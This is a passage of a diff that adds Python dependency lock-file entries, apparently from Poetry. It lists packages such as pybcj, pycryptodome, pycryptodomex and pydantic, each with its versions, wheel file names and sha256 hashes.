+ {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e6a74cb618da93ac1322d6a548a4508e76eb4c388ed1c80560bc25d8764cf272"},
+ {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f472da992a6ba58381c0314b994c01d20e522ff8836417ef1c0975bdae142406"},
+ {file = "pybcj-1.0.1-cp311-cp311-win32.whl", hash = "sha256:f58e489e43c9a1688c7d5ceb7455b44952d87f183b7b9c915b301478a2b3bfbe"},
+ {file = "pybcj-1.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:a74e70bf3fd50a413fdce4264e037b8e8f34cb8d9207ac364167b6eb076c14ec"},
+ {file = "pybcj-1.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8e846a8272bf02202794fe22beaf389ed27c2d8ebf59aafb43af4935feac0389"},
+ {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421f211fb15aeb836b4ba61174cb409fc82222ab3b2486deb4953ae863e6507b"},
+ {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdabbe7fd66886943393ecf98318d7801dd40183af80314acd4464bccdd44d53"},
+ {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:731800acfc6112132aa2b7d08f9d6fe49a0c0071b30985809d084e238af98dac"},
+ {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:09872b32edad4e3653d5b357b244d267ca58fe52d4e1dd3cdff816d3bb9d9f7c"},
+ {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:5de90f8b6c7fc1d28dbe74c29b1d5053a7a8703cbc2c6f4f112907ffd7529f8e"},
+ {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:10961ea10ae930b9348132707b9dd3cf3e71a41ef1df7656fbc4f14a71f10747"},
+ {file = "pybcj-1.0.1-cp36-cp36m-win32.whl", hash = "sha256:6f589af70286ec6565e3415145a03abc3c14a23ed7ed198ac741de81af332f26"},
+ {file = "pybcj-1.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b901f12380e988da07f21bb6b75da7f91fd9feffb43fcf70fad698e40a2ef3a7"},
+ {file = "pybcj-1.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2e1859d36c073231737956fbeb5bbcfa8dba880e1b66bfbd001466718d6d89dc"},
+ {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421ed75e54ebecd79c80178c1df5bdbe1e0e3e10e7efef5f011b5f0be6a9a12f"},
+ {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:872697d8bff2572e4225ed8cbce17be338faac28ec1ab3c00419aaef2f56dd3c"},
+ {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc23f2ac2c1ded250f1aa66fbd1a3d823f76de549978b61eed4fb34affc11338"},
+ {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:8efed581f2ee74f1e0ec04a10e97881b93abc258d13b15ef966aee71732ac152"},
+ {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:bb378b0f133e19d437eca4327bac7c3f38e30950c5c604092c72b18cba839bc2"},
+ {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:534b8b253dbdb746c06bab28383db31d7e2b42aa9b33ed4e7836319622dcd75b"},
+ {file = "pybcj-1.0.1-cp37-cp37m-win32.whl", hash = "sha256:15edd1786617127ecfda4274bbb04f09ae299c474ada86e369bcf050d5cb88dd"},
+ {file = "pybcj-1.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:393d95f83e47976d137bcec7b66986f51282dcb2091933f88983dd7eb89e59c4"},
+ {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e89a814f1727be7d543ac6910f0d94131f43a337e811ab684606d42dbc22b701"},
+ {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b3861996b06b8238f799b4f1bd9542d1a8ae8e4765adbdde25ed011c3bda11df"},
+ {file = "pybcj-1.0.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7801ee9a9fcd47b92d4d90ff9a28cfdc23195cad72bd8032938ab3c794942b43"},
+ {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10182725b0e6aa944d13a10a4a9cb5208bafe0016b4326253340948153de4bc0"},
+ {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fc313b1a5547c5416982853f2de1454980704f3ab3dbcad18dacdc565a2eafc"},
+ {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7b3773a77ae3b18778c9bf22c7ba6478a0e5416f84b7d2ac6d764001f6d0d985"},
+ {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c72ff262613c9a6f20e80bcf1e8bbc000b78b95a7fa301164ab3e3bd23bd936c"},
+ {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:262f53e27bca6096e3424c63e5e59948b10985eee4b03a5d70c3f3f6161a79e7"},
+ {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:efe75e3b8768c4f9d454d3c1b2b2a67e757f2b00d638146d3a4cddb38460fc3a"},
+ {file = "pybcj-1.0.1-cp38-cp38-win32.whl", hash = "sha256:a77796b4c5370cedd4fad2264b6d7a78cb40229c7fa3cbcab24df3adea768962"},
+ {file = "pybcj-1.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:4d10dd75fad48555e9530c5565c7ccf13754adad2fe331feefb263055cdca7b3"},
+ {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1c0e1657c233f9f4070ab578951e03d569f1b645042ce661341091f50e41b541"},
+ {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:603daa737579cf69efb368fab716cdce18d0b2615af77bb623f5f42aa546b3d8"},
+ {file = "pybcj-1.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:df75707f466ab6fa086f164bff2df75fd16543c8d43ca43a268f938c1144e792"},
+ {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fda423836d7d69cba6a6f99e7a34c2e5fe3621e5e945cd25ea9ba60a96223254"},
+ {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3847387b43af47d9677952b8a22d9c2d8a544c2175b6d5304c200669c05d39e1"},
+ {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b99f4291e59dcbe548be5a1e8c6a1a19a860184526c2d14fc374ec687b98ad7d"},
+ {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:05fad9a905772774aacc96cb174571ac1f5afa80b9f54c6ec414d369865d305c"},
+ {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:d5c4ca6faff0af4b5f3e7d88d13ec76f8cac36c9bcc814b8c84d9f3f951b2cf9"},
+ {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4bc8720f3a224c27bd413a930b9bec5f225fda050641258967b1ebb252a053fb"},
+ {file = "pybcj-1.0.1-cp39-cp39-win32.whl", hash = "sha256:d61f287f820787d3acf60d113c5ce6e506870d9d3103bc37a74373e72ce9d7a6"},
+ {file = "pybcj-1.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:bbb49772fc3896850a704215160df8316db89e5e8876b2d8af6c6c15b4e0f6ea"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1e02170f8d358a8ddc716606760c73d55eea6bdb0cca2d97b86447e9524708b"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc1684b9f7ec92d2ae94a137ec311bd2227f684429521061af7ceed4952c7f72"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e6434a46f852cd3e6929633b43537887bd381bc614dbf5c4a128fdde4966b3a"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:795dff9229dc024e54bd0f618f5a3adb269ee0cccd7ac9a0bef29df388beed23"},
+ {file = "pybcj-1.0.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:358dba3dc39a07cded6897b9f99bb5b951a0ad95d567eda535b44861caa02f5b"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6df9eccc99a0d7bc091b58cff2f507b89f076d657253975fa2ca9eb42dbb4733"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f46ba61c942ee64198444c9562c5cf089eaf97f17b413e15fa1c0614df304734"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2f950ca403ffaa808a017e40e3371115bcb0b4b1061772b03e7d842555132ac"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6485c6b091504c0e6431a9495309271626eaa9ecb23276903486824f94f4c551"},
+ {file = "pybcj-1.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:9b56eeff51efa556ecc186260ac486a4ddd79ad37bc88d669e96c45190f3c0da"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d5b327df02761c42399c878cd6c37f885bf0639befbd4d1ab763cd44ba1e0552"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:023082fd677f67ebd36fe96322a4a45ac33a2b340d49010d88e1867c76744c50"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8576a1dcf445ef064bf8c3b2cdc1d6353e41cb4b366329946883e285dcbcec0"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1a5365edcaa82dc47e7757ba2efb48f96b9b352e3811a2aaa90084802479ddbe"},
+ {file = "pybcj-1.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6ca6ddae1302477879099d4c4efc65790f4610d71ceff7fbe8f8b60f6ac6dcff"},
+ {file = "pybcj-1.0.1.tar.gz", hash = "sha256:8b682ed08caabfb7c042d4be083e28ddc692afb1deff5567111f8855071b75c3"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8 (<5)", "flake8-black", "flake8-colors", "flake8-isort", "flake8-pyi", "flake8-typing-imports", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"]
+test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-cov"]
+
+[[package]]
+name = "pycodestyle"
+version = "2.9.1"
+description = "Python style guide checker"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"},
+ {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"},
+]
+
+[[package]]
+name = "pycountry"
+version = "22.3.5"
+description = "ISO country, subdivision, language, currency and script definitions and their translations"
+optional = false
+python-versions = ">=3.6, <4"
+files = [
+ {file = "pycountry-22.3.5.tar.gz", hash = "sha256:b2163a246c585894d808f18783e19137cb70a0c18fb36748dc01fc6f109c1646"},
+]
+
+[package.dependencies]
+setuptools = "*"
+
+[[package]]
+name = "pycparser"
+version = "2.21"
+description = "C parser in Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"},
+ {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"},
+]
+
+[[package]]
+name = "pycryptodome"
+version = "3.18.0"
+description = "Cryptographic library for Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "pycryptodome-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:d1497a8cd4728db0e0da3c304856cb37c0c4e3d0b36fcbabcc1600f18504fc54"},
+ {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:928078c530da78ff08e10eb6cada6e0dff386bf3d9fa9871b4bbc9fbc1efe024"},
+ {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:157c9b5ba5e21b375f052ca78152dd309a09ed04703fd3721dce3ff8ecced148"},
+ {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:d20082bdac9218649f6abe0b885927be25a917e29ae0502eaf2b53f1233ce0c2"},
+ {file = "pycryptodome-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e8ad74044e5f5d2456c11ed4cfd3e34b8d4898c0cb201c4038fe41458a82ea27"},
+ {file = "pycryptodome-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:62a1e8847fabb5213ccde38915563140a5b338f0d0a0d363f996b51e4a6165cf"},
+ {file = "pycryptodome-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:16bfd98dbe472c263ed2821284118d899c76968db1a6665ade0c46805e6b29a4"},
+ {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7a3d22c8ee63de22336679e021c7f2386f7fc465477d59675caa0e5706387944"},
+ {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:78d863476e6bad2a592645072cc489bb90320972115d8995bcfbee2f8b209918"},
+ {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:b6a610f8bfe67eab980d6236fdc73bfcdae23c9ed5548192bb2d530e8a92780e"},
+ {file = "pycryptodome-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:422c89fd8df8a3bee09fb8d52aaa1e996120eafa565437392b781abec2a56e14"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:9ad6f09f670c466aac94a40798e0e8d1ef2aa04589c29faa5b9b97566611d1d1"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:53aee6be8b9b6da25ccd9028caf17dcdce3604f2c7862f5167777b707fbfb6cb"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:10da29526a2a927c7d64b8f34592f461d92ae55fc97981aab5bbcde8cb465bb6"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f21efb8438971aa16924790e1c3dba3a33164eb4000106a55baaed522c261acf"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4944defabe2ace4803f99543445c27dd1edbe86d7d4edb87b256476a91e9ffa4"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:51eae079ddb9c5f10376b4131be9589a6554f6fd84f7f655180937f611cd99a2"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:83c75952dcf4a4cebaa850fa257d7a860644c70a7cd54262c237c9f2be26f76e"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:957b221d062d5752716923d14e0926f47670e95fead9d240fa4d4862214b9b2f"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-win32.whl", hash = "sha256:795bd1e4258a2c689c0b1f13ce9684fa0dd4c0e08680dcf597cf9516ed6bc0f3"},
+ {file = "pycryptodome-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:b1d9701d10303eec8d0bd33fa54d44e67b8be74ab449052a8372f12a66f93fb9"},
+ {file = "pycryptodome-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:cb1be4d5af7f355e7d41d36d8eec156ef1382a88638e8032215c215b82a4b8ec"},
+ {file = "pycryptodome-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:fc0a73f4db1e31d4a6d71b672a48f3af458f548059aa05e83022d5f61aac9c08"},
+ {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f022a4fd2a5263a5c483a2bb165f9cb27f2be06f2f477113783efe3fe2ad887b"},
+ {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:363dd6f21f848301c2dcdeb3c8ae5f0dee2286a5e952a0f04954b82076f23825"},
+ {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12600268763e6fec3cefe4c2dcdf79bde08d0b6dc1813887e789e495cb9f3403"},
+ {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4604816adebd4faf8810782f137f8426bf45fee97d8427fa8e1e49ea78a52e2c"},
+ {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:01489bbdf709d993f3058e2996f8f40fee3f0ea4d995002e5968965fa2fe89fb"},
+ {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3811e31e1ac3069988f7a1c9ee7331b942e605dfc0f27330a9ea5997e965efb2"},
+ {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f4b967bb11baea9128ec88c3d02f55a3e338361f5e4934f5240afcb667fdaec"},
+ {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:9c8eda4f260072f7dbe42f473906c659dcbadd5ae6159dfb49af4da1293ae380"},
+ {file = "pycryptodome-3.18.0.tar.gz", hash = "sha256:c9adee653fc882d98956e33ca2c1fb582e23a8af7ac82fee75bd6113c55a0413"},
+]
+
+[[package]]
+name = "pycryptodomex"
+version = "3.18.0"
+description = "Cryptographic library for Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"},
+ {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"},
+ {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"},
+ {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"},
+]
+
+[[package]]
+name = "pydantic"
+version = "1.10.11"
+description = "Data validation and settings management using python type hints"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"},
+ {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"},
+ {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"},
+ {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"},
+ {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"},
+ {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"},
+ {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"},
+ {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"},
+ {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"},
+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"},
+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"},
+ {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"},
+ {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"},
